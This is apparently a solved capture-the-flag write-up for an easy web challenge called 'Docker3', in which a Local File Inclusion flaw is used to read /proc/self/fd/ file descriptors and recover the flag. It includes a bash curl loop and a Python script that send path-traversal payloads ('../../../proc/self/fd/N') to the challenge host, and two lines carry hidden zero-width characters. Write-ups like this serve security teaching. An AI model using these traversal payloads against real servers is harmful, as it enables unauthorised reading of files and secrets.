Docker3

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-11-10 | Status: Solved Techniques: fd_enumeration, lfi_proc_fd

Summary

LFI challenge in a Docker container. Need to exploit Local File Inclusion vulnerability to obtain the flag through file descriptors.

Docker3 — Web Kids 2.0

Description

LFI challenge in a Docker container. Need to exploit Local File Inclusion vulnerability to obtain the flag through file descriptors.

Analysis

An LFI vulnerability was found in the web application. The /proc/self/fd/ directory contains symbolic links to all open file descriptors of the current process. If the process keeps a file with secret data open, it can be read through the corresponding fd.

Solution

1. LFI vulnerability discovered in a parameter
2. Enumeration of file descriptors in /proc/self/fd/: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 bash read-only • copy allowed Copy
# Enumerate fd from 0 to 20
for i in $(seq 0 20); do
    echo "=== FD $i ==="
    curl "https://2019-11-10-docker3.ctf.su/?file=../../../proc/self/fd/$i" 2>/dev/null
done

1. Standard file descriptors:

   • fd/0 - stdin
   • fd/1 - stdout
   • fd/2 - stderr
   • fd/3+ - open files, sockets, etc.

2. The flag was found in one of the file descriptors.

Python script for automation:

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

url = "https://2019-11-10-docker3.ctf.su/"

for fd in range(0, 30):
    try:
        r = requests.get(url, params={"file": f"../../../proc/self/fd/{fd}"}, timeout=5)
        if "spbctf" in r.text or len(r.text) > 0:
            print(f"FD {fd}: {r.text[:200]}")
    except:
        pass

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍